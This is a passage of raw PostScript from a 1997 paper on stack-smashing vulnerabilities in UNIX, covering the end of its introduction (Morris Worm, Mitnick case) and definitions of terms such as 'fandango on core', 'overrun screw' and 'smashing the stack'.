1.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 2.000 0 32 -1.000 0 (g )D (p)S 0.200 0 (l)A -0.400 0 (a)A -3.000 0 (y)A 0.900 0 32 0.100 0 (s )D -0.400 0 (a)A 2.000 0 32 (n )W 0.200 0 (im)A (po)S -0.300 0 (r)A 0.200 0 (t)A -0.400 0 (a)A (n)S 1.800 0 32 0.200 0 (t )D -0.300 0 (r)A (o)S 0.200 0 (l)A 2.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 2.000 0 32 (n h)W 0.200 0 (i)A -1.000 0 (g)A 2.000 0 32 (h p)W -0.300 0 (r)A (o)S -0.300 0 (f)A 0.200 0 (il)A 2.400 0 32 -0.400 0 (e c)D (o)S 0.200 0 (m)A (pu)S 0.200 0 (t)A -0.400 0 (e)A 2.300 0 32 -0.300 0 (r )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 5.000 0 32 -3.000 0 (y )D 0.200 0 (i)A (n)S -0.400 0 (c)A 0.200 0 (i)A (d)S -0.400 0 (e)A (n)S 0.200 0 (t)A 1.900 0 32 0.100 0 (s s)D (u)S -0.400 0 (c)A 2.000 0 32 (h )W -0.400 0 (a)A 1.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1625 M 0.300 0 (R)A (ob)S -0.400 0 (e)A -0.300 0 (r)A 36.800 0 32 0.200 0 (t )D -0.100 0 (T)A -0.400 0 (a)A (pp)S -0.400 0 (a)A 37.000 0 32 (n )W 0.100 0 (M)A (o)S -0.300 0 (rr)A 0.200 0 (i)A 36.900 0 32 0.100 0 (s )D ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 1641 1625 M -0.300 0 (I)A (n)S 0.200 0 (t)A -0.400 0 (e)A 0.100 0 (r)A (n)S -0.400 0 (e)A 36.800 0 32 0.200 0 (t )D -2.300 0 (W)A (o)S 0.100 0 (r)A -0.200 0 (m)A ; : 2188 1609 2695 76 rc 0 0 0 sco (F2_67) cvn F2 67 xF F2_67 Ji 2261 1609 M 0.500 0 (1)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2295 1625 M 37.000 0 32 ( )W 0.200 0 (i)A 37.000 0 32 (n 1987, )W -0.400 0 (a)A 37.000 0 32 (nd )W 0.200 0 (t)A (h)S 37.400 0 32 -0.400 0 (e )D -0.200 0 (K)A -0.400 0 (e)A (v)S 0.200 0 (i)A 37.000 0 32 (n )W 0.100 0 (M)A 0.200 0 (it)A (n)S 0.200 0 (i)A -0.400 0 (c)A 37.000 0 32 (k v)W 0.100 0 (s)A 38.000 0 32 (. )W -0.100 0 (T)A 0.100 0 (s)A (u)S 0.200 0 (t)A (o)S 0.200 0 (m)A (u)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1802 M 0.400 0 (S)A (h)S 0.200 0 (im)A (o)S 0.200 0 (m)A (u)S -0.300 0 (r)A 12.400 0 32 -0.400 0 (a )D 0.200 0 (i)A (n)S -0.400 0 (c)A 0.200 0 (i)A (d)S -0.400 0 (e)A (n)S 11.800 0 32 0.200 0 (t i)D 12.000 0 32 (n 1995)W ; : 1717 1786 3166 76 rc 0 0 0 sco F2_67 Ji 1790 1786 M 0.500 0 (2)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1824 1802 M 12.000 0 32 (. )W -2.300 0 (I)A 12.000 0 32 (n o)W -0.300 0 (r)A (d)S -0.400 0 (e)A 12.300 0 32 -0.300 0 (r )D 0.200 0 (t)A 12.000 0 32 (o )W 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 12.400 0 32 -0.400 0 (e )D 0.200 0 (m)A (od)S -0.400 0 (e)A -0.300 0 (r)A 12.000 0 32 (n )W -0.200 0 (UN)A -2.300 0 (I)A 12.200 0 32 -0.200 0 (X )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 0.100 0 (s)A 12.000 0 32 (, )W 11.800 0 32 0.200 0 (it i)D 11.900 0 32 0.100 0 (s )D (n)S -0.400 0 (ece)A 0.100 0 (ss)A -0.400 0 (a)A -0.300 0 (r)A 15.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (o)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1979 M -0.121 0 (understand why stack smashing occurs and what one can do to prevent it.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_133 Ji 612 2335 M -0.341 0 (2. Terms)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2569 M ( )S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 2569 M 0.100 0 (M)A -0.400 0 (a)A (n)S 9.000 0 32 -3.000 0 (y )D 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A 5.900 0 32 0.100 0 (s )D -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (i)A 0.100 0 (s)A 5.800 0 32 0.200 0 (t t)D (h)S -0.400 0 (a)A 5.800 0 32 0.200 0 (t )D -0.400 0 (a)A (pp)S 0.200 0 (l)A 9.000 0 32 -3.000 0 (y )D 0.200 0 (t)A 6.000 0 32 (o )W 0.200 0 (t)A (h)S 0.200 0 (i)A 5.900 0 32 0.100 0 (s )D (p)S -0.300 0 (r)A (ob)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A 6.000 0 32 (. )W ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 2783 2569 M (S)S -0.200 0 (m)A (a)S 0.100 0 (s)A (h)S 0.200 0 (i)A 6.000 0 32 (ng )W 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e )D (S)S 0.200 0 (t)A (a)S -0.400 0 (ck)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3572 2569 M 7.000 0 32 (, )W 7.400 0 32 -0.400 0 (a )D 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 6.800 0 32 0.200 0 (m )D (popu)S 0.200 0 (l)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A 0.600 0 (z)A -0.400 0 (e)A (d)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2746 M -0.300 0 (r)A -0.400 0 (ece)A (n)S 0.200 0 (tl)A 5.000 0 32 -3.000 0 (y )D (b)S 5.000 0 32 -3.000 0 (y )D -0.200 0 (A)A 0.200 0 (l)A -0.400 0 (e)A 2.000 0 32 (ph )W -0.200 0 (O)A (n)S 2.400 0 32 -0.400 0 (e a)D 2.000 0 32 (nd o)W 0.200 0 (t)A (h)S -0.400 0 (e)A -0.300 0 (r)A 2.900 0 32 0.100 0 (s )D 0.200 0 (i)A 3.000 0 32 (n )W 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e )D -2.300 0 (I)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 2.800 0 32 0.200 0 (t )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 6.000 0 32 -3.000 0 (y )D -0.400 0 (c)A (o)S 0.200 0 (mm)A (un)S 0.200 0 (it)A -3.000 0 (y)A 3.000 0 32 (, )W 0.200 0 (i)A 2.900 0 32 0.100 0 (s )D (no)S 2.800 0 32 0.200 0 (t t)D (h)S 3.400 0 32 -0.400 0 (e )D (on)S 0.200 0 (l)A 6.000 0 32 -3.000 0 (y )D 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 2.800 0 32 0.200 0 (m t)D (h)S -0.400 0 (a)A 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2923 M (h)S -0.400 0 (a)A 9.900 0 32 0.100 0 (s )D (b)S -0.400 0 (ee)A 10.000 0 32 (n u)W 0.100 0 (s)A -0.400 0 (e)A 10.000 0 32 (d )W 0.200 0 (t)A 10.000 0 32 (o d)W -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (c)A -0.300 0 (r)A 0.200 0 (i)A (b)S 10.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 0.200 0 (i)A 10.900 0 32 0.100 0 (s )D 0.200 0 (i)A 0.100 0 (ss)A (u)S -0.400 0 (e)A 11.000 0 32 (. )W -0.100 0 (T)A (h)S 11.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 2334 2923 M 0.200 0 (f)A 11.000 0 32 (andango on )W -0.400 0 (c)A (o)S 0.100 0 (r)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3061 2923 M (,)S ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 3086 2923 M 11.000 0 32 ( o)W -0.400 0 (ve)A 0.100 0 (rr)A 11.000 0 32 (un )W 0.100 0 (s)A -0.400 0 (c)A 0.100 0 (r)A -0.400 0 (e)A 0.300 0 (w)A 11.000 0 32 (, )W 0.100 0 (s)A 0.200 0 (t)A (a)S 11.400 0 32 -0.400 0 (ck )D 0.100 0 (s)A -0.400 0 (c)A 0.100 0 (r)A 0.200 0 (i)A (bb)S 0.200 0 (l)A -0.400 0 (e)A (,)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3100 M -0.133 0 (and)A ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 756 3100 M 0.014 0 ( stale pointer)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1284 3100 M 0.467 0 ([1])A ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 1402 3100 M ( )S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1427 3100 M -0.076 0 (all relate to stack smashing.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 612 3278 M 0.205 0 (2.1 Fandango on Core)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 3483 M -2.300 0 (I)A 11.000 0 32 (n )W 10.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 12.000 0 32 -1.000 0 (g )D 11.000 0 32 (on )W -0.200 0 (UN)A -2.300 0 (I)A 11.200 0 32 -0.200 0 (X )D 0.200 0 (m)A -0.400 0 (ac)A (h)S 0.200 0 (i)A (n)S -0.400 0 (e)A 0.100 0 (s)A 11.000 0 32 (, )W 11.400 0 32 -0.400 0 (a )D ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 2647 3483 M 0.200 0 (f)A 11.000 0 32 (andango on )W -0.400 0 (c)A (o)S 0.100 0 (r)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3374 3483 M 11.000 0 32 ( )W 0.200 0 (i)A 10.900 0 32 0.100 0 (s )D 11.400 0 32 -0.400 0 (a )D -1.000 0 (g)A -0.400 0 (e)A (n)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (i)A 11.400 0 32 -0.400 0 (c )D 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 10.800 0 32 0.200 0 (m )D -0.300 0 (f)A (o)S 11.300 0 32 -0.300 0 (r )D -0.400 0 (a)A 0.200 0 (ll)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3660 M (bu)S -1.000 0 (g)A 1.900 0 32 0.100 0 (s )D 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S 0.200 0 (i)A (n)S 3.000 0 32 -1.000 0 (g )D 2.400 0 32 -0.400 0 (a )D -0.200 0 (w)A 0.200 0 (il)A 2.000 0 32 (d po)W 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A 2.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S -0.400 0 (a)A 1.800 0 32 0.200 0 (t )D (h)S -0.400 0 (a)A 1.900 0 32 0.100 0 (s )D -0.300 0 (r)A 2.000 0 32 (un ou)W 1.800 0 32 0.200 0 (t )D (o)S 3.300 0 32 -0.300 0 (f )D (bound)S 0.100 0 (s)A 3.000 0 32 (, )W -0.400 0 (ca)A (u)S 0.100 0 (s)A 0.200 0 (i)A (n)S 4.000 0 32 -1.000 0 (g )D -0.400 0 (c)A (o)S -0.300 0 (r)A 3.400 0 32 -0.400 0 (e )D (du)S 0.200 0 (m)A (p)S 2.900 0 32 0.100 0 (s )D (o)S 3.300 0 32 -0.300 0 (r )D -0.400 0 (c)A (o)S -0.300 0 (rr)A (up)S 0.200 0 (ti)A 3.000 0 32 (on o)W -0.300 0 (f)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3837 M (d)S -3.000 0 (y)A (n)S -0.400 0 (a)A 0.200 0 (mi)A 13.400 0 32 -0.400 0 (c )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 16.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 0.200 0 (ll)A (o)S -0.400 0 (ca)A 0.200 0 (ti)A 13.000 0 32 (on )W 0.100 0 (s)A (p)S -0.400 0 (ace)A 13.000 0 32 (. )W -0.100 0 (T)A (h)S 0.200 0 (i)A 12.900 0 32 0.100 0 (s )D 0.200 0 (t)A -3.000 0 (y)A (p)S 13.400 0 32 -0.400 0 (e )D (o)S 13.300 0 32 -0.300 0 (f )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 12.800 0 32 0.200 0 (m )D -0.400 0 (ac)A 0.200 0 (ti)A (v)S 0.200 0 (it)A 16.000 0 32 -3.000 0 (y )D 0.200 0 (i)A 12.900 0 32 0.100 0 (s )D -0.400 0 (c)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (i)A -0.400 0 (a)A 13.800 0 32 0.200 0 (l i)D 14.000 0 32 (n )W -0.400 0 (c)A (on)S 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (ti)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4014 M 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 12.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 14.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 16.000 0 32 -3.000 0 (y )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 0.100 0 (s)A 13.000 0 32 (. )W -0.200 0 (A)A (n)S 16.000 0 32 -3.000 0 (y )D (nu)S 0.200 0 (m)A (b)S -0.400 0 (e)A 13.300 0 32 -0.300 0 (r )D (o)S 13.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 13.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A 12.900 0 32 0.100 0 (s )D 0.200 0 (m)A -0.400 0 (a)A 16.000 0 32 -3.000 0 (y )D (b)S 13.400 0 32 -0.400 0 (e )D (u)S 0.100 0 (s)A -0.400 0 (e)A 13.000 0 32 (d )W 0.200 0 (t)A 13.000 0 32 (o d)W -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (c)A -0.300 0 (r)A 0.200 0 (i)A (b)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4191 M -0.400 0 (c)A (ond)S 0.200 0 (iti)A (on)S 30.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 30.800 0 32 0.200 0 (t l)D -0.400 0 (ea)A 31.000 0 32 (d )W 0.200 0 (t)A 31.000 0 32 (o )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 31.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 32.000 0 32 -1.000 0 (g )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 0.100 0 (s)A 31.000 0 32 (, )W -0.400 0 (a)A 31.000 0 32 (nd, )W 0.200 0 (i)A 31.000 0 32 (n )W -1.000 0 (g)A -0.400 0 (e)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (l)A 32.000 0 32 (, )W -0.300 0 (r)A -0.400 0 (e)A -0.300 0 (f)A -0.400 0 (e)A 32.300 0 32 -0.300 0 (r )D 0.200 0 (t)A 32.000 0 32 (o u)W 0.100 0 (s)A (u)S -0.400 0 (a)A 0.200 0 (ll)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4368 M -0.224 0 (undesirable operations on dynamically allocated memory.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 612 4546 M 0.060 0 (2.2 Overrun Screw)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 4751 M 2.200 0 32 -0.200 0 (A )D (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 0.200 0 (t)A 5.000 0 32 -3.000 0 (y )D (o)S 2.300 0 32 -0.300 0 (f )D ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 1422 4751 M 0.200 0 (f)A 2.000 0 32 (andango on )W -0.400 0 (c)A (o)S 0.100 0 (r)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2131 4751 M 1.800 0 32 0.200 0 (; )D -0.400 0 (a)A 3.000 0 32 (n )W ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 2308 4751 M (o)S -0.400 0 (ve)A 0.100 0 (rr)A 3.000 0 32 (un )W 0.100 0 (s)A -0.400 0 (c)A 0.100 0 (r)A -0.400 0 (e)A 2.700 0 32 0.300 0 (w )D ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2913 4751 M 0.200 0 (i)A 2.900 0 32 0.100 0 (s )D 3.400 0 32 -0.400 0 (a )D -1.000 0 (g)A -0.400 0 (e)A (n)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (i)A 3.400 0 32 -0.400 0 (c )D 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 2.800 0 32 0.200 0 (m )D -0.300 0 (f)A (o)S 3.300 0 32 -0.300 0 (r )D 2.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4928 M (bu)S -1.000 0 (g)A 11.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 11.800 0 32 0.200 0 (t )D 0.100 0 (s)A -0.400 0 (c)A -0.300 0 (r)A 0.200 0 (i)A (bb)S 0.200 0 (l)A 12.400 0 32 -0.400 0 (e )D (p)S -0.400 0 (a)A 0.100 0 (s)A 11.800 0 32 0.200 0 (t t)D (h)S 12.400 0 32 -0.400 0 (e e)D 12.000 0 32 (nd o)W 12.300 0 32 -0.300 0 (f )D -0.400 0 (a)A 12.000 0 32 (n )W -0.400 0 (a)A -0.300 0 (rr)A -0.400 0 (a)A -3.000 0 (y)A 12.000 0 32 (. )W 12.200 0 32 -0.200 0 (A )D 0.200 0 (l)A -0.400 0 (ac)A 12.000 0 32 (k o)W 12.300 0 32 -0.300 0 (f )D (bound)S 11.900 0 32 0.100 0 (s )D -0.400 0 (c)A (h)S -0.400 0 (ec)A (k)S 0.200 0 (i)A (n)S 14.000 0 32 -1.000 0 (g )D 0.200 0 (m)A -0.400 0 (a)A (k)S -0.400 0 (e)A 12.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 0.200 0 (i)A 12.900 0 32 0.100 0 (s )D 13.400 0 32 -0.400 0 (a )D -0.300 0 (f)A -0.400 0 (a)A 0.200 0 (i)A -0.300 0 (r)A 0.200 0 (l)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5105 M -0.400 0 (c)A (o)S 0.200 0 (mm)A 33.000 0 32 (on o)W -0.400 0 (cc)A (u)S -0.300 0 (rr)A -0.400 0 (e)A (n)S 33.400 0 32 -0.400 0 (ce )D 0.200 0 (i)A 33.000 0 32 (n )W 0.200 0 (t)A (h)S 33.400 0 32 -0.400 0 (e )D 32.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 34.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 33.000 0 32 (. )W ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 3054 5105 M -0.200 0 (O)A -0.400 0 (ve)A 0.100 0 (rr)A 33.000 0 32 (un )W 0.100 0 (s)A -0.400 0 (c)A 0.100 0 (r)A -0.400 0 (e)A 0.300 0 (w)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3683 5105 M 33.000 0 32 ( )W 0.200 0 (i)A 32.900 0 32 0.100 0 (s )D 33.400 0 32 -0.400 0 (a )D 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 32.800 0 32 0.200 0 (m )D (u)S 0.100 0 (s)A -0.400 0 (e)A (d)S ; : 522 5518 2880 94 rc 0 0 0 sco F2_83 Ji 612 5518 M 0.250 0 ( )A ; : 1152 5518 2700 94 rc 0 0 0 sco F2_83 Ji 1242 5518 M 0.250 0 ( )A ; 612 5571 N M 1200 4 rr : 0 0 0 sco O ; : 0 0 4883 6391 rc 0 0 0 sco (F2_33) cvn F2 33 xF F2_33 Ji 612 5618 M 0.500 0 (1)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_67 Ji 629 5621 M 0.233 0 ( See RFC 1135 for more information; http://www.pmg.lcs.mit.edu/cgi-bin/rfc/view?1135)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_33 Ji 612 5702 M 0.500 0 (2)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_67 Ji 629 5705 M 0.202 0 ( for more information see http://www.takedown.com)A ; LH savelevel1 restore pagesave restore (%%[ Page: 3 ]%%) = %%PageTrailer %%Page: 4 4 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3977 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4170 54 M 0.500 0 (4)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 612 504 M 0.100 0 (s)A (p)S -0.400 0 (ec)A 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (ll)A 16.000 0 32 -3.000 0 (y )D -0.200 0 (w)A (h)S -0.400 0 (e)A 13.000 0 32 (n )W 13.400 0 32 -0.400 0 (a )D 0.100 0 (s)A -0.400 0 (c)A -0.300 0 (r)A 0.200 0 (i)A (bb)S 0.200 0 (l)A 14.400 0 32 -0.400 0 (e )D (p)S -0.400 0 (a)A 0.100 0 (s)A 13.800 0 32 0.200 0 (t )D 14.400 0 32 -0.400 0 (a )D (d)S -3.000 0 (y)A (n)S -0.400 0 (a)A 0.200 0 (mi)A -0.400 0 (ca)A 0.200 0 (ll)A 17.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 0.200 0 (ll)A (o)S -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (e)A 14.000 0 32 (d )W -0.400 0 (a)A -0.300 0 (rr)A -0.400 0 (a)A 17.000 0 32 -3.000 0 (y )D (o)S -0.400 0 (cc)A (u)S -0.300 0 (r)A 0.100 0 (s)A 14.000 0 32 (. )W -0.200 0 (A)A -1.000 0 (g)A -0.400 0 (a)A 0.200 0 (i)A 14.000 0 32 (n, )W 0.200 0 (t)A (h)S 0.200 0 (i)A 13.900 0 32 0.100 0 (s )D 0.200 0 (t)A -3.000 0 (y)A (p)S 14.400 0 32 -0.400 0 (e )D (o)S -0.300 0 (f)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 681 M -0.194 0 (program behavior is necessary in constructing a stack smashing security vulnerability.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 612 859 M 0.164 0 (2.3 Smashing, Trashing or Scribbling the Stack)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 1064 M 4.200 0 32 -0.200 0 (A )D (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 0.200 0 (t)A 7.000 0 32 -3.000 0 (y )D (o)S 4.300 0 32 -0.300 0 (f )D ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F6) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F6_100) cvn F6 100 xF F6_100 Ji 1428 1064 M (o)S -0.400 0 (ve)A 0.100 0 (rr)A 4.000 0 32 (un )W 0.100 0 (s)A -0.400 0 (c)A 0.100 0 (r)A -0.400 0 (e)A 0.300 0 (w)A 4.300 0 32 -0.300 0 (; )D ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2068 1064 M -0.100 0 (T)A (h)S 0.200 0 (i)A 3.900 0 32 0.100 0 (s )D 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 3.800 0 32 0.200 0 (m i)D 3.900 0 32 0.100 0 (s )D -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r)A (v)S -0.400 0 (e)A 5.000 0 32 (d )W -0.300 0 (f)A (o)S 5.300 0 32 -0.300 0 (r )D 5.400 0 32 -0.400 0 (a )D 4.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 6.000 0 32 -1.000 0 (g )D -0.400 0 (ca)A 0.100 0 (s)A 5.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 5.000 0 32 (n )W -0.200 0 (w)A (h)S 0.200 0 (i)A -0.400 0 (c)A (h)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1241 M 0.200 0 (t)A (h)S 13.400 0 32 -0.400 0 (e e)D 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 13.000 0 32 (on )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 13.000 0 32 (k )W 0.200 0 (i)A 12.900 0 32 0.100 0 (s )D -0.400 0 (c)A (o)S -0.300 0 (rr)A (up)S 0.200 0 (t)A -0.400 0 (e)A 13.000 0 32 (d b)W 16.000 0 32 -3.000 0 (y )D -0.200 0 (w)A -0.300 0 (r)A 0.200 0 (iti)A (n)S 15.000 0 32 -1.000 0 (g )D (p)S -0.400 0 (a)A 0.100 0 (s)A 13.800 0 32 0.200 0 (t t)D (h)S 14.400 0 32 -0.400 0 (e e)D 14.000 0 32 (nd o)W 14.300 0 32 -0.300 0 (f )D 14.400 0 32 -0.400 0 (a )D (d)S -0.400 0 (a)A 0.200 0 (t)A 14.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (t)A (u)S -0.300 0 (r)A 14.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (u)S -0.400 0 (c)A 14.000 0 32 (h )W -0.400 0 (a)A 13.900 0 32 0.100 0 (s )D 14.400 0 32 -0.400 0 (a )D 0.200 0 (l)A (o)S -0.400 0 (ca)A 0.200 0 (l)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1418 M -0.400 0 (a)A -0.300 0 (rr)A -0.400 0 (a)A -3.000 0 (y)A 16.000 0 32 (. )W 0.400 0 (S)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S -1.000 0 (g)A 16.000 0 32 (, )W 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 17.000 0 32 -1.000 0 (g )D (o)S 17.300 0 32 -0.300 0 (r )D 